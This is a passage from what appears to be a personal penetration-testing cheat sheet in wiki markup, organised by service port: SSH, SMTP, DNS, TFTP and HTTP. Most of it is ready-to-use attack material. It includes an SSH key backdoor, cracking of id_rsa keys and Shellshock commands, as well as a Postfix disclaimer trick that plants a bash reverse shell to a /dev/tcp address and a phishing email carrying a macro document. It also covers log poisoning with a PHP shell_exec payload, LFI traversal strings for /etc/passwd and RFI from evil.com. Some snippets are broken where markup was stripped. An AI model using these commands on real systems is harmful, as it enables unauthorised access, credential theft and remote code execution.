authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
